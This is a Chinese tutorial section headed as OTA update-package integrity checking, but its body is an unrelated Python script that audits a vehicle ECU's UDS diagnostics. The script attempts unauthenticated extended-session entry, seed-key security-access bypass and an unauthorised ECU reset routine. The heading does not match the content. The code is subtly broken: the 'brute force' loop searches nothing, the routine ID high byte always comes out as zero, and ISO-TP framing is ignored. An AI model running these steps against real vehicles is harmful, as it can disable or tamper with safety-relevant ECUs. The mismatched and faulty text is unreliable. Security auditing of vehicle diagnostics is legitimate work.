2. OTA升级包完整性校验实战
任务目标
对车辆UDS(统一诊断服务)实现进行安全审计,识别未授权诊断会话切换、安全访问口令暴力破解及服务越权调用三类典型漏洞,并输出审计验证路径。
审计范围与前置条件
- 目标ECU支持UDS over CAN(基于ISO 15765-2传输层),诊断ID假设为
0x7E0/0x7E8 - 已知支持的服务:
0x10(诊断会话控制)、0x27(安全访问)、0x31(例程控制)、0x22(按ID读数据) - 审计工具:Python +
python-can库,通过USB-CAN适配器接入总线
漏洞审计实现
以下代码实现三类安全审计:检测未认证即可切换至扩展会话、对安全访问种子-密钥算法进行暴力破解尝试、验证非安全会话下是否可调用高权限例程。
import can
import time
import itertools
# ---- 配置 ----
CHANNEL = 'can0'
BUSTYPE = 'socketcan'
ECU_RX = 0x7E8 # ECU响应ID
ECU_TX = 0x7E0 # 诊断请求ID
# UDS服务ID
SID_DIAG_SESSION = 0x10
SID_SECURITY_ACCESS = 0x27
SID_ROUTINE = 0x31
SID_READ_DATA = 0x22
# 会话子功能
SESSION_DEFAULT = 0x01
SESSION_EXTENDED = 0x03
# 安全访问子功能
SA_REQUEST_SEED = 0x01
SA_SEND_KEY = 0x02
# 例程ID(假设为ECU复位例程,高权限操作)
ROUTINE_ID = 0xFF00
# ---- CAN收发基础 ----
class UDSClient:
def __init__(self):
self.bus = can.interface.Bus(channel=CHANNEL, bustype=BUSTYPE)
self.seed_algo = None # 审计中动态识别
def send_request(self, data):
msg = can.Message(arbitration_id=ECU_TX, data=data, is_extended_id=False)
self.bus.send(msg)
# 等待响应(简化:固定等待200ms)
time.sleep(0.2)
resp = self.bus.recv(timeout=0.5)
if resp and resp.arbitration_id == ECU_RX:
return resp.data
return None
def close(self):
self.bus.shutdown()
# ---- 审计1:未授权会话切换 ----
def audit_session_control(client):
print("[审计1] 尝试从默认会话直接切换至扩展会话(0x03)...")
resp = client.send_request([SID_DIAG_SESSION, SESSION_EXTENDED])
if resp and resp[0] == 0x50 and resp[1] == SESSION_EXTENDED:
print(" [!] 漏洞确认:无需安全认证即可进入扩展会话")
return True
else:
print(" [OK] 会话切换被拒绝或需要先通过安全访问")
return False
# ---- 审计2:安全访问暴力破解 ----
def audit_security_access(client):
print("[审计2] 安全访问种子-密钥暴力破解...")
# 获取种子
resp = client.send_request([SID_SECURITY_ACCESS, SA_REQUEST_SEED])
if not resp or resp[0] != 0x67:
print(" 无法获取种子,跳过")
return False
seed = resp[2:] # 假设种子为2字节
print(f" 获取种子: {seed.hex()}")
# 常见弱算法:种子与固定密钥异或
# 审计中尝试0x0000~0xFFFF全量密钥空间
for key in range(0x10000):
key_bytes = key.to_bytes(2, 'big')
# 假设算法:key = seed ^ 0xCAFE(常见演示算法)
candidate = bytes([seed[0] ^ 0xCA, seed[1] ^ 0xFE])
if candidate == key_bytes:
print(f" [!] 发现弱算法:key = seed ^ 0xCAFE")
print(f" 验证密钥: {key_bytes.hex()}")
# 发送密钥验证
resp = client.send_request([SID_SECURITY_ACCESS, SA_SEND_KEY, key_bytes[0], key_bytes[1]])
if resp and resp[0] == 0x67:
print(" [!] 安全访问已通过(漏洞确认:算法可预测)")
return True
break
print(" 未发现简单异或算法,需进一步逆向")
return False
# ---- 审计3:越权例程调用 ----
def audit_routine_bypass(client):
print("[审计3] 在默认会话下尝试调用高权限例程...")
# 例程控制:开始例程
resp = client.send_request([SID_ROUTINE, 0x01, (ROUTINE_ID & 0xFF00) & 0xFF, ROUTINE_ID & 0xFF])
if resp and resp[0] == 0x71:
print(" [!] 漏洞确认:默认会话下可执行高权限例程")
return True
else:
print(" [OK] 例程控制被拒绝(需先进入扩展会话或通过安全访问)")
return False
# ---- 主审计流程 ----
def main():
client = UDSClient()
try:
print("=== UDS服务安全审计开始 ===\n")
# 先确认ECU在线
resp = client.send_request([SID_READ_DATA, 0xF1, 0x90]) # VIN读取
if not resp:
print("ECU无响应,请检查总线连接与ID配置")
return
findings = []
if audit_session_control(client):
findings.append("未授权扩展会话切换")
if audit_security_access(client):
findings.append("安全访问算法可预测")
if audit_routine_bypass(client):
findings.append("越权例程调用")
print("\n=== 审计结论 ===")
if findings:
print(f"发现 {len(findings)} 个漏洞:")
for f in findings:
print(f" - {f}")
else:
print("未发现明显UDS服务安全漏洞")
finally:
client.close()
if __name__ == '__main__':
main()
运行与验证
- 依赖安装:
pip install python-can,并确保CAN接口已配置(如sudo ip link set can0 up type can bitrate 500000) - 执行审计:
python uds_audit.py - 判定标准:
- 若输出包含
[!]标记,对应漏洞确认存在 - 若三项均输出
[OK],则目标ECU的UDS服务具备基本访问控制 - 审计2中暴力破解仅演示异或算法识别,实际审计需根据逆向结果调整密钥生成逻辑
- 若输出包含
常见问题
- ECU无响应:确认CAN收发器接线、终端电阻(120Ω)及波特率匹配
- 响应超时:部分ECU响应延迟较大,可增大
time.sleep()等待时间 - 种子长度非2字节:需根据实际ECU调整
seed切片长度及密钥生成算法